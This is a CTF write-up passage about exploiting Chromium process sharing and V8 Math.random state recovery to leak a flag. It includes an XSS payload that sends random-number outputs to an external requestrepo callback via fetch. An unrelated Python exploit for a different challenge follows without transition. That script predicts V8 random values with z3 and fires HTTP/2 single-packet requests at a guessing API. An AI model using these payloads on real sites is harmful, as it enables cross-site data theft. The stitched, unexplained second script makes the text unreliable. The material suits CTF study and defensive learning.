Newer (~a few years old) versions of Chromium enforce site isolation, meaning it forces pages on different *sites* (ie. different domains/public suffixes, like `google.com` vs `google.dk`) into different processes. However, this shouldn't (necessarily) apply to pages on the *same* site, even if they're cross-origin (eg. `xss-spukhafte.chal-kalmarc.tf` and `notes-spukhafte.chal-kalmarc.tf` - same *site*, different *origin*). So... it should still work.

Let's look at the adminbot, finally:

```js
const page = await browser.newPage();

await page.goto(NOTE_DOMAIN, {
    waitUntil: 'networkidle0',
});

// hmm... i think i'll put my flag here.
await page.evaluate((flag) => {
    const noteInput = document.getElementById('noteInput');
    if (noteInput) {
    noteInput.value = flag;

    const saveButton = document.querySelector('button');
    if (saveButton) {
        saveButton.click();
    }
    }
}, FLAG);

await sleep(1000);

// whew... time to go look at my favorite ctf team's website :)
await page.goto("https://kalmarunionen.dk");

await sleep(1000);

// now visit user page
const page2 = await browser.newPage();
await page2.goto(url, {waitUntil: []});

await sleep(5000);
```

So, in order:
- Opens the notes website
- Submits the flag (which generates the UUID in the browser)
- Navigates the browser away to somewhere else
- Opens a *new* page (ie. a new "tab", but this is headless, same thing)
- Visits the user URL in there

Chrome has a nice "task manager", which you can access through Shift+Tab, and it'll show you what pages are open in the browser, as well as what process they live in.

If I replicate this behavior manually, I get the following outcome:
- I open https://notes-spukhafte.chal-kalmarc.tf in Chrome
  - That tab runs in the process with PID 34652.
- I type https://kalmarunionen.dk in address bar in the same tab.
  - This tab now gets moved to PID 16900!
  - ...but I see an entry titled `Back/Forward Cached Page: https://chal-kalmarc.tf/`, which *still* has PID 34652
- I open a new tab, and type in https://xss-spukhafte.chal-kalmarc.tf (no payload, but that's not relevant)
  - This tab gets the PID 54796 - an entirely different process ID.

...no dice.

However - and this is where I'm *also* a little confused - it seems like *headless* Chromium has slightly different behavior:

If I create an XSS payload on a *different* site entirely (say, a requestrepo page), and in that, include an `<iframe>` to the challenge XSS domain, *then* that frame gets pushed into the same process as the adminbot's notes page!

From there, I just need to create two new JS contexts and exfiltrate some Math.random() results. Here, I had to be a little careful - it seems like the act of creating an iframe (and a bunch of other JS operations, in fact) *also* step the isolate's RNG, but it seems like creating both iframes, and then setting their `srcdoc` property afterwards, correctly gets you two RNG-consecutive contexts.

And there we go! That gets us an XSS payload executing in the same process as the adminbot's tab with the flag (which is still in `bfcache`), which means the RNGs came from the same isolate seed, which means we can find the UUID! Go flag!

My final XSS payload script looks like this (you can find it in `send_payload.py`):

```py
import requests, urllib.parse

REQUESTREPO = "https://4rl8zudr.requestrepo.com"
HOST = "https://bot-spukhafte.chal-kalmarc.tf/"

xss_payload = """
<div id="container"></div>
<script>
const inner = `
<iframe id=a></iframe>
<iframe id=b></iframe>
<script>
a.srcdoc='<script>fetch("REQUESTREPO/?a_"+([Math.random(),Math.random(),Math.random(),Math.random()].toString()))</scr'+'ipt>';
b.srcdoc='<script>fetch("REQUESTREPO/?b_"+([Math.random(),Math.random(),Math.random(),Math.random()].toString()))</scr'+'ipt>';
</scr${""}ipt>
`;

setTimeout(() => {
  const frame = document.createElement("iframe");
  frame.src = "https://xss-spukhafte.chal-kalmarc.tf/?html=" + encodeURIComponent(inner);
  document.getElementById("container").appendChild(frame);
}, 2000);
</script>
""".replace("REQUESTREPO", REQUESTREPO)
# put ^ on that requestrepo, or host a server, idk

r = requests.post(HOST + "/report", json={"url": "https://xss-spukhafte.chal-kalmarc.tf/?html=" + urllib.parse.quote(f"<script>window.location.href='{REQUESTREPO}/';</script>")})
print(r, r.text)
```

If you run this with an appropriate callback URL, it'll exfiltrate two sets of 4 Math.random() outputs, which you can plug into my solve script and, eventually, recover the flag :)

```
$ sage solve.py
random seed 1: 13064262445274959226
random seed 2: 2452739071240180465
[...]
root seed: 15620352084711387380
e75916eb-9844-42db-8c80-e0708e0332a8 {"note":"kalmar{REDACTED}"}
```

# based on https://github.com/d0nutptr/v8_rand_buster/blob/master/xs128p.py
# and https://github.com/nxenon/h2spacex/blob/main/examples/improved-spa-method.py
import argparse
import asyncio
import json
import math
import os
import struct
import sys
from decimal import Decimal
from time import sleep

import httpx
import requests
from httpx import URL as urlparser
from h2spacex import H2OnTlsConnection
import scapy.contrib.http2 as h2 
from z3 import And, BitVecs, LShR, Or, SolverFor, sat, set_option

MAX_UNUSED_THREADS = 2

URL = urlparser("https://localhost:3000")


# Calculates xs128p (XorShift128Plus)
def xs128p(state0, state1):
    s1 = state0 & 0xFFFFFFFFFFFFFFFF
    s0 = state1 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
    state0 = state1 & 0xFFFFFFFFFFFFFFFF
    state1 = s1 & 0xFFFFFFFFFFFFFFFF
    generated = state0 & 0xFFFFFFFFFFFFFFFF

    return state0, state1, generated


def sym_xs128p(sym_state0, sym_state1):
    # Symbolically represent xs128p
    s1 = sym_state0
    s0 = sym_state1
    s1 ^= s1 << 23
    s1 ^= LShR(s1, 17)
    s1 ^= s0
    s1 ^= LShR(s0, 26)
    sym_state0 = sym_state1
    sym_state1 = s1
    # end symbolic execution

    return sym_state0, sym_state1


# Symbolic execution of xs128p
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
    sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    # "::ToDouble"
    calc = LShR(sym_state0, 12)

    """
    Symbolically compatible Math.floor expression.

    Here's how it works:

    64-bit floating point numbers are represented using IEEE 754 (https://en.wikipedia.org/wiki/Double-precision_floating-point_format) which describes how
    bit vectors represent decimal values. In our specific case, we're dealing with a function (Math.random) that only generates numbers in the range [0, 1).

    This allows us to make some assumptions in how we deal with floating point numbers (like ignoring parts of the bitvector entirely).

    The 64bit floating point is laid out as follows
    [1 bit sign][11 bit expr][52 bit "mantissa"]

    The formula to calculate the value is as follows: (-1)^sign * (1 + Sigma_{i=1 -> 52}(M_{52 - i} * 2^-i)) * 2^(expr - 1023)

    Therefore 0_01111111111_1100000000000000000000000000000000000000000000000000 is equal to "1.75"

    sign => 0 => ((-1) ^ 0) => 1
    expr => 1023 => 2^(expr - 1023) => 1
    mantissa => <bitstring> => (1 + sum(M_{52 - i} * 2^-i) => 1.75

    1 * 1 * 1.75 = 1.75 :)

    Clearly we can ignore the sign as our numbers are entirely non-negative.

    Additionally, we know that our values are between 0 and 1 (exclusive) and therefore the expr MUST be, at most, 1023, always.

    What about the expr?

    """
    lower = from_double(Decimal(generated) / Decimal(multiple))
    upper = from_double((Decimal(generated) + 1) / Decimal(multiple))

    lower_mantissa = lower & 0x000FFFFFFFFFFFFF
    upper_mantissa = upper & 0x000FFFFFFFFFFFFF
    upper_expr = (upper >> 52) & 0x7FF

    slvr.add(And(lower_mantissa <= calc, Or(upper_mantissa >= calc, upper_expr == 1024)))
    return sym_state0, sym_state1


def solve_instance(points, multiple, unknown_leading=False):
    # setup symbolic state for xorshift128+
    ostate0, ostate1 = BitVecs("ostate0 ostate1", 64)
    sym_state0 = ostate0
    sym_state1 = ostate1
    set_option("parallel.enable", True)
    set_option(
        "parallel.threads.max", (max(os.cpu_count() - MAX_UNUSED_THREADS, 1))
    )  # will use max or max cpu thread support, whatever is smaller
    slvr = SolverFor(
        "QF_BV"
    )  # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)

    # run symbolic xorshift128+ algorithm for three iterations
    # using the recovered numbers as constraints

    if unknown_leading:
        # we want to try to predict one value ahead so let's slide one unknown into the calculation
        sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    for point in points:
        sym_state0, sym_state1 = sym_floor_random(
            slvr, sym_state0, sym_state1, point, multiple
        )

    if slvr.check() == sat:
        # get a solved state
        m = slvr.model()
        state0 = m[ostate0].as_long()
        state1 = m[ostate1].as_long()

        return state0, state1
    else:
        print("Failed to find a valid solution")
        return None, None


def solve(points, multiple, lead):
    if lead > 0:
        last_state0 = None
        last_state1 = None

        for i in range(0, int(lead)):
            last_state0, last_state1 = solve_instance(points, multiple, True)

            state0, state1, output = xs128p(last_state0, last_state1)
            new_point = math.floor(multiple * to_double(output))
            points = [new_point] + points

        return last_state0, last_state1
    else:
        return solve_instance(points, multiple)


def to_double(value):
    """
    https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111
    """
    double_bits = (value >> 12) | 0x3FF0000000000000
    return struct.unpack("d", struct.pack("<Q", double_bits))[0] - 1


def from_double(dbl):
    """
    https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111

    This function acts as the inverse to @to_double. The main difference is that we
    use 0x7fffffffffffffff as our mask as this ensures the result _must_ be not-negative
    but makes no other assumptions about the underlying value.

    That being said, it should be safe to change the flag to 0x3ff...
    """
    return struct.unpack("<Q", struct.pack("d", dbl + 1))[0] & 0x7FFFFFFFFFFFFFFF


def get_args():
    parser = argparse.ArgumentParser(
        description="Uses Z3 to predict future states for 'Math.floor(MULTIPLE * Math.random())' given some consecutive historical values. Pipe unbucketed points in via STDIN."
    )
    parser.add_argument(
        "--multiple",
        help="Specifies the multiplier used in 'Math.floor(MULTIPLE * Math.random())'. Defaults to 1.",
    )
    parser.add_argument(
        "--gen",
        help="Instead of predicting state, take a state pair and generate output. (state0,state1,num)",
    )
    parser.add_argument("--lead", help="The number of elements backwards to predict")

    args = parser.parse_args()

    multiple_arg = args.multiple
    lead_arg = args.lead

    multiple = 1.0 if multiple_arg is None else float(multiple_arg)
    lead = 0 if lead_arg is None else float(lead_arg)

    if args.gen:
        state0, state1, count = list(map(lambda x: int(x), args.gen.split(",")))

        return None, multiple, (state0, state1, count), None
    else:
        points = list(map(lambda line: int(line), sys.stdin.readlines()))

        assert len(points) != 0, (
            "Pipe the leaked, unbucketed points via STDIN.\nExample:\n\tcat FILE | python3 xs2.py --multiple 1000"
        )

        return lead, multiple, None, points


async def predict(points):
    """
    # -----------------------------------------------------------------------------------------------------------------------------------------------------------
    # Relevant v8 Code to understand this solver:
    # Math.Random Implementation (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/builtins/builtins-math-gen.cc#L402)
    #   Uses a precomputed cache of values to make subsequent calls to Math.random quick
    #   This source will refer to this as "bucketing" as it puts the random values in "buckets" that we use until they are empty.
    #   After the bucket is empty, we make a call to RefillCache (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L36)
    #   which populates the cache (bucket) with 64 () new random values. If the cache is not empty when Math.random is called,
    #   we pop the next value off the rear of the array until we're at `MATH_RANDOM_INDEX_INDEX` == 0 again for a refill.
    #   Notable hurdles in implementation:
    #       Unlike previous and similar implementations of xs128p, Chrome only uses `state_0` for converting and storing cached randoms
    #           > (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L64)
    #           > vs (https://github.com/v8/v8/commit/ac66c97cfddc1e9fd89b494950ecf8a1a260bc80#diff-202872834c682708e9294600f73e4d15L115) (PRE SEPT 2018)
    # -----------------------------------------------------------------------------------------------------------------------------------------------------------
    """

    lead = 0
    multiple = 1e9
    points.reverse()
    state0, state1 = solve(points, multiple, lead)

    if state0 is not None and state1 is not None:
        print("{},{}".format(state0, state1))

    num = requests.get(f"{URL}/api/random", verify=False).json()["randomNumber"]
    predicted = []
    for i in range(500):
        state0, state1, output = xs128p(state0, state1)
        if i > len(points):
            predicted_num = math.floor(multiple * to_double(output))
            predicted.append(predicted_num)
            if predicted_num == num:
                index = predicted.index(num)
                print(i, index)
    client = httpx.AsyncClient(base_url=URL, verify=False)
    tasks = []
    for i in range(100):
        tasks.append(fetch(client, predicted, index))
    await asyncio.gather(*tasks)


async def fetch(session: httpx.AsyncClient, predicted, index):
    guess = index + 60
    resp = await session.get(
        "/api/guess",
        params={"num": predicted[guess]},
    )
    print("resp",resp.text)
    data = (resp.json())["response_msg"]
    if "TCP1P" in data:
        print(data)
        os._exit(0)
    correct = int(data.split(" ")[-1])
    print("response ---")
    if correct in predicted:
        print(index, guess, predicted.index(correct))
    else:
        print(correct, "not found")


def spa():
    h2_conn = H2OnTlsConnection(hostname=URL.host, port_number=URL.port)

    headers = """accept: */*
    """

    body = ""
    stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=30)

    all_headers_frames = []  # all headers frame + data frames which have not the last byte
    all_data_frames = []  # all data frames which contain the last byte

    for s_id in stream_ids_list:
        header_frames_without_last_byte, last_data_frame_with_last_byte = (
            h2_conn.create_single_packet_http2_get_request_frames(
                method="GET",
                headers_string=headers,
                scheme=URL.scheme,
                stream_id=s_id,
                authority=URL.host,
                body=body,
                path="/api/random",
            )
        )

        all_headers_frames.append(header_frames_without_last_byte)
        all_data_frames.append(last_data_frame_with_last_byte)

    # concatenate all headers bytes
    temp_headers_bytes = b""
    for h in all_headers_frames:
        temp_headers_bytes += bytes(h)

    # concatenate all data frames which have last byte
    temp_data_bytes = b""
    for d in all_data_frames:
        temp_data_bytes += bytes(d)

    h2_conn.setup_connection()
    h2_conn.send_ping_frame()  # important line (in improved version of single packet attack)

    # send header frames
    h2_conn.send_frames(temp_headers_bytes)
    points = []
    parsed_frames: list[h2.H2Frame] = h2.H2Seq(h2_conn.read_response_from_socket(3)).frames
    for frame in parsed_frames:
        if isinstance(frame.payload, h2.H2DataFrame):
            points.append(json.loads(frame.data.decode())["randomNumber"])
    h2_conn.close_connection()
    return points


def main():
    while True:
        try:
            points = spa()
            print(points)
            asyncio.run(predict(points))
        except Exception as e:
            print(e)


if __name__ == "__main__":
    main()